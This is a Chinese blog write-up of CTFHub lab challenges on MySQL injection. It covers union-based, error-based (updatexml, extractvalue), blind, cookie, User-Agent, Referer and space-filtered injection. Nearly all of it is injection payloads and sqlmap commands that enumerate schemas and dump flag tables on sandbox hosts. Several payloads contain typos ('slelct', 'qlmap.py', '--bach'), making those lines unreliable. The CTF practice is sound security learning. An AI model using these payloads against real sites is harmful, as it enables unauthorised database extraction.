首页 > 数据库 >CTF-mysql

CTF-mysql

时间:2024-08-12 22:26:16浏览次数:7  
标签:union -- CTF mysql table id select schema

整数型

输入1发现有回显

发现and1=1有回显1=2没有

判断字段数

1 order by 2

确定回显点

-1 union select 1,2

查看数据库名称

-1 union selecr 1,database()

查看数据库名

-1 union slelct group_concat(schema_name)from information_schema.schemata

查看表名

-1 union slelct group_concat(table_schema)from information_schema.tables where table_schema='sqli'

查看列名

-1 union slelct group_concat(column_schema)from information_schema.columns where table_schema='sqli'and table_name='flag'

查看字段内容

-1 union select 1,group_concat(flag)from flag

字符型

输入1试试

判断字符型(提示也给了)

判断字段数

1' order by 2

判断回显的

-1' union select 1,2

判断数据库

?id=-1' union select 1,database()--+

我们可以手工注入也可以sqlmap我这里选择sqlmap注入(问就是快)

查看数据库

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' --dbs

查看表名

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1'-D sqli --tables

查看字段名

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag --columns

查看数据

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag -C flag --dump

报错注入

1'或者1 order by 1

显示错误信息决定使用报错注入

-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)

查库名

?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)

查表名

?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)

查字段名我当时用这个函数查不出来,后面换了一个函数

?id=1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),'~'))--

查字段

?id=1 and extractvalue(1,concat('~',(select concat(flag) from flag),'~'))--

布尔盲注

查库

手注太麻烦了

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  --current-db --bach
--current-db   当前数据库
--bach   			 自动确认

查表

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli --tables

查字段

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli -T --columns

查数据

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli -T flag -C flag --dump

时间盲注

查库

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 --current-db --batch

查表

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

查字段

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查数据

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

mysql结构

查库

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -dbs

查表

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch

查字段

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi --columns --batch

查数据

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi -C izikznwmwr --dump --batch

Cookie注入

抓包试试

判断字段数

order by 2

判断回显点

union select 1,2

查看库

union select 1,database()

查表

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';

查字段

id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xclduyowof';

查数据

 id=-1 union select 1,oqmyobxboo from xclduyowof;

UA注入

抓包试试

查字段数

order by 2

判断回显点

union select 1,2

查看库

union select 1,database()

查表


-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';

查字段

-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xdagkcfgab';

查数据

-1 union select 1,piabyfircl from xdagkcfgab

Refer注入

查库

-1 union select 1,database()

查表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查列

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ocwoheektd'

查数据

-1 union select 1,group_concat(fscpxlznjk) from ocwoheektd

过滤空格

输入空格显示

查看字段数

?id=1/**/order/**/by/**/2#

查库

?id=-1/**/union/**/select/**/1,database()#

查表

?id=-1/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='sqli'#

查列

?id=-1/**/union/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='erbwzbvtbj'#

查数据

?id=-1/**/union/**/select/**/1,txgmuvsfjk/**/from/**/erbwzbvtbj#

标签:union,--,CTF,mysql,table,id,select,schema
From: https://blog.csdn.net/m0_74214882/article/details/141143911

相关文章

  • C ++ 也可以搭建Web?高性能的 C++ Web 开发框架 CPPCMS + MySQL 实现快速入门案例
    什么是CPPCMS?CppCMS是一个高性能的C++Web开发框架,专为构建快速、动态的网页应用而设计,特别适合高并发和低延迟的场景。其设计理念类似于Python的Django或RubyonRails,但针对C++提供了更细粒度的控制和更高效的性能。主要特点和优点1.高性能与并发处理​Cp......
  • MySQL数据分析进阶(十三)高效的索引
    ※食用指南:文章内容为‘CodeWithMosh’SQL进阶教程系列学习笔记,笔记整理比较粗糙,主要目的自存为主,记录完整的学习过程。(图片超级多,慎看!)【中字】SQL进阶教程|史上最易懂SQL教程!10小时零基础成长SQL大师!!https://www.bilibili.com/video/BV1UE41147KC/?spm_id_from=333.1007.0.......
  • 解决:The GPG keys listed for the "MySQL 8.0 Community Server" repository are alre
    安装mysql提示Retrievingkeyfromfile:///etc/pki/rpm-gpg/RPM-GPG-KEY-mysqlTheGPGkeyslistedforthe"MySQL8.0CommunityServer"repositoryarealreadyinstalledbuttheyarenotcorrectforthispackage.CheckthatthecorrectkeyURLsarecon......
  • Windows10下Docker安装Mysql5.7
    一、环境说明:docker:v4.25.0mysql:5.7二、 打开命令工具打开WindowsPowerShell 三、搜索镜像dockersearchmysql  四、拉取镜像拉取最新版本dockerpullmysql 拉取特定版本dockerpullmysql:5.7 五、查看所有镜像dockerimages 六、启......
  • mysql数据库:使用Python操作MySQL
    mysql数据库:使用Python操作MySQL安装第三方模块pymysqlpipinstallpymysql操作MySQLimportpymysql#创建连接#需要传入一些参数:#hostmysql所在的主机名或者是域名或者是ip地址#portmysql运行的端口号#ps-aux|grepmysql找到MySQL运行的进程......
  • Mysql写入数据错误:General error: 1366 Incorrect string value: '\\xF0\\x9F\\
    这个问题,原因是UTF-8编码有可能是两个、三个、四个字节。Emoji表情或者某些特殊字符是4个字节,而Mysql的utf8编码最多3个字节,所以数据插不进去。我这边是在linux服务器,Mysql的版本是5.7。解决此问题需要修改Mysql的配置文件my.cnf。 总结修改配置:[client]default-character......
  • linux中mysql开启远程ssh连接
    步骤1:配置MySQL允许远程连接1.1修改MySQL配置文件首先,你需要修改MySQL的配置文件(my.cnf或mysqld.cnf),以允许MySQL监听所有网络接口,而不仅仅是本地主机。打开MySQL的配置文件,通常在/etc/mysql/my.cnf或/etc/mysql/mysql.conf.d/mysqld.cnf,或者在CentOS/RHEL......
  • 【MySQL核心】数据恢复-批量修复 ibd 文件实战-拯救即将跑路的你
    简介本文章主要讲解MySQL异常宕机等意外情况下导致ibd文件损坏,配置mysql强制恢复(innodb_force_recovery)1-6级仍然无法启动的情况。下面是恢复整个实例的所有流程和思路。这里恢复的实例是mysql5.6的整个流程,5.7和5.6类似,8.0可以直接用ibd2sql进行坏表的恢......
  • MySQL
    1、初识MySQLJavaEE:企业级Java开发Web前端(页面:展示:数据)后台(连接点:连接数据库JDBC,连接前端(控制视图跳转,给前端传递数据))数据库(存数据,Txt,Excel,Word)只会写代码,学好数据库,基本混饭吃:操作系统,数据结构与算法!当一个不错的程序猿!离散数学,数字电路,体系结构,编译原理。+实战经验......
  • JDBC加载MySQL驱动【底层实现】
    JDBC4.0如何加载引入依赖<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.32</version></dependency>上代码importjava.sql.Connection;impor......